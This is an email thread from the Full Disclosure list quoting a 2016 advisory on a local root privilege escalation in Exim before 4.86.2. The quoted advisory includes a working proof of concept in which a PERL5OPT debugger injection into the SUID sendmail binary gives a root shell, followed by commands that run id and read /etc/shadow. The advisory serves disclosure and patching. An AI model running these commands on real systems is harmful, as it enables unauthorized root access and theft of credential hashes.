Message-Id: <7E8DBA34-891C-4F46-BE10-A891AEB6A236@lolunix.org>
Date: Sun, 13 Mar 2016 00:00:28 -0600
From: loon <loon@...unix.org>
To: Dawid Golunski <dawid@...alhackers.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] Exim < 4.86.2 Local Root Privilege Escalation

Fair enough, i was probably harsh, I apologize. I did see it was different on the website. Thanks for that.

Cheers,
loon

> On Mar 12, 2016, at 18:35, Dawid Golunski <dawid@...alhackers.com> wrote:
> 
> Hi loon,
> 
> I posted this in a rush copying my usual template I used for my other
> advisories. I only noticed the discovered header after posting to the
> list. I've fixed it since then (which you'd have seen if you clicked
> on the URL above my message) as I also had thought it could sound
> confusing. The link to the exim patch for the environment cleanup
> issue was in the references from the start.
> Thanks for the heads up anyway.
> 
> 
> On Sat, Mar 12, 2016 at 5:47 PM, loon <loon@...unix.org> wrote:
>> Since when does reverse engineering a patch make you the discoverer of the patched exploit?
>> 
>> this is silly to take credit for.
>> 
>> 
>>> On Mar 10, 2016, at 11:20, Dawid Golunski <dawid@...alhackers.com> wrote:
>>> 
>>> Advisory URL:
>>> http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
>>> 
>>> =============================================
>>> - Release date: 10.03.2016
>>> - Discovered by: Dawid Golunski
>>> - Severity: High/Critical
>>> =============================================
>>> 
>>> 
>>> I. VULNERABILITY
>>> -------------------------
>>> 
>>> Exim < 4.86.2        Local Root Privilege Escalation
>>> 
>>> 
>>> II. BACKGROUND
>>> -------------------------
>>> 
>>> "Exim is a message transfer agent (MTA) developed at the University of
>>> Cambridge for use on Unix systems connected to the Internet. It is freely
>>> available under the terms of the GNU General Public Licence. In style it is
>>> similar to Smail 3, but its facilities are more general. There is a great
>>> deal of flexibility in the way mail can be routed, and there are extensive
>>> facilities for checking incoming mail. Exim can be installed in place of
>>> Sendmail, although the configuration of Exim is quite different."
>>> 
>>> http://www.exim.org/
>>> 
>>> 
>>> III. INTRODUCTION
>>> -------------------------
>>> 
>>> When Exim installation has been compiled with Perl support and contains a
>>> perl_startup configuration variable it can be exploited by malicious local
>>> attackers to gain root privileges.
>>> 
>>> IV. DESCRIPTION
>>> -------------------------
>>> 
>>> The vulnerability stems from Exim in versions below 4.86.2 not performing
>>> sanitization of the environment before loading a perl script defined
>>> with perl_startup setting in exim config.
>>> 
>>> perl_startup is usually used to load various helper scripts such as
>>> mail filters, gray listing scripts, mail virus scanners etc.
>>> 
>>> For the option to be supported, exim must have been compiled with Perl
>>> support, which can be verified with:
>>> 
>>> [dawid@...tos7 ~]$ exim -bV -v | grep i Perl
>>> Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
>>> Content_Scanning DKIM Old_Demime PRDR OCSP
>>> 
>>> 
>>> To perform the attack, attacker can take advantage of the exim's sendmail
>>> interface which links to an exim binary that has an SUID bit set on it by
>>> default as we can see below:
>>> 
>>> [dawid@...tos7 ~]$ ls -l /usr/sbin/sendmail.exim
>>> lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim
>>> 
>>> [dawid@...tos7 ~]$ ls -l /usr/sbin/exim
>>> -rwsr-xr-x. 1 root root 1222416 Dec  7  2015 /usr/sbin/exim
>>> 
>>> 
>>> Normally, when exim sendmail interface starts up, it drops its root
>>> privileges before giving control to the user (i.e entering mail contents for
>>> sending etc), however an attacker can make use of the following command line
>>> parameter which is available to all users:
>>> 
>>> -ps    This  option  applies when an embedded Perl interpreter is linked with
>>>      Exim. It overrides the setting of the perl_at_start option, forcing the
>>>      starting of the interpreter to occur as soon as Exim is started.
>>> 
>>> 
>>> As we can see from the documentation at:
>>> 
>>> http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
>>> 
>>> the perl_at_start option does the following:
>>> 
>>> "Setting perl_at_start (a boolean option) in the configuration requests a
>>> startup when Exim is entered."
>>> 
>>> Therefore it is possible to force the execution of the perl_startup script
>>> defined in the Exim's main config before exim drops its root privileges.
>>> 
>>> 
>>> To exploit this setting and gain the effective root privilege of the
>>> SUID binary,
>>> attackers can inject PERL5OPT perl environment variable, which does not get
>>> cleaned by affected versions of Exim.
>>> 
>>> As per perl documntation, the environment variable allows to set perl
>>> command-line
>>> options (switches). Switches in this variable are treated as if they
>>> were on every
>>> Perl command line.
>>> 
>>> There are several interesting perl switches that that could be set by
>>> attackers to
>>> trigger code execution.
>>> One of these is -d switch which forces perl to enter an interactive debug mode
>>> in which it is possible to take control of the perl application.
>>> 
>>> An example proof of concept exploitation using the -d switch can be found below.
>>> 
>>> 
>>> V. PROOF OF CONCEPT
>>> -------------------------
>>> 
>>> [dawid@...tos7 ~]$ head /etc/exim/exim.conf
>>> ######################################################################
>>> #                  Runtime configuration file for Exim               #
>>> ######################################################################
>>> 
>>> # Custom filtering via perl
>>> perl_startup = do '/usr/share/exim4/exigrey.pl'
>>> 
>>> [dawid@...tos7 ~]$ exim -bV -v | grep -i Perl
>>> Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers
>>> OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP
>>> 
>>> [dawid@...tos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps
>>> victim@...alhost
>>> 
>>> Loading DB routines from perl5db.pl version 1.37
>>> Editor support available.
>>> 
>>> Enter h or 'h h' for help, or 'man perldebug' for more help.
>>> 
>>> Debugged program terminated.  Use q to quit or R to restart,
>>> use o inhibit_exit to avoid stopping after program termination,
>>> h q, h R or h o to get additional info.
>>> 
>>> DB<1> p system("id");
>>> uid=0(root) gid=10(wheel) groups=0(root)
>>> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
>>> 0
>>> DB<2> p system("head /etc/shadow");
>>> root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7:::
>>> bin:*:16372:0:99999:7:::
>>> daemon:*:16372:0:99999:7::
>>> [...]
>>> 
>>> 
>>> VI. BUSINESS IMPACT
>>> -------------------------
>>> 
>>> This vulnerability could be exploited by attackers who have local access to the
>>> system to escalate their privileges to root which would allow them to fully
>>> compromise the system.
>>> 
>>> VII. SYSTEMS AFFECTED
>>> -------------------------
>>> 
>>> Exim versions before the latest patched version of Exim 4.86.2 are be
>>> affected by this vulnerability, if Exim was compiled with Perl
>>> support and the main configuration file (i.e /etc/exim/exim.conf or
>>> /etc/exim4/exim.conf), contains a perl_startup option e.g:
>>> 
>>> perl_startup = do '/usr/share/exim4/exigrey.pl'
>>> 
>>> It is important to note that the file does not necessarily have to exist
>>> to exploit the vulnerability. Although the path must be specified.
>>> 
>>> 
>>> VIII. SOLUTION
>>> -------------------------
>>> 
>>> Update to Exim 4.86.2 which contains the official patch that fixes the
>>> environment sanitization issues.
>>> 
>>> IX. REFERENCES
>>> -------------------------
>>> 
>>> http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
>>> 
>>> http://www.exim.org/
>>> http://www.exim.org/static/doc/CVE-2016-1531.txt
>>> http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
>>> 
>>> X. ADVISORY CREATED BY
>>> -------------------------
>>> 
>>> This advisory has been created by Dawid Golunski
>>> dawid (at) legalhackers (dot) com
>>> legalhackers.com
>>> 
>>> XI. REVISION HISTORY
>>> -------------------------
>>> 
>>> March 10th, 2016:  Advisory released
>>> 
>>> XII. LEGAL NOTICES
>>> -------------------------
>>> 
>>> The information contained within this advisory is supplied "as-is" with
>>> no warranties or guarantees of fitness of use or otherwise. I accept no
>>> responsibility for any damage caused by the use or misuse of this information.
>>> 
>>> _______________________________________________
>>> Sent through the Full Disclosure mailing list
>>> https://nmap.org/mailman/listinfo/fulldisclosure
>>> Web Archives & RSS: http://seclists.org/fulldisclosure/
>> 
> 
> 
> 
> --
> Regards,
> Dawid Golunski
> http://legalhackers.com


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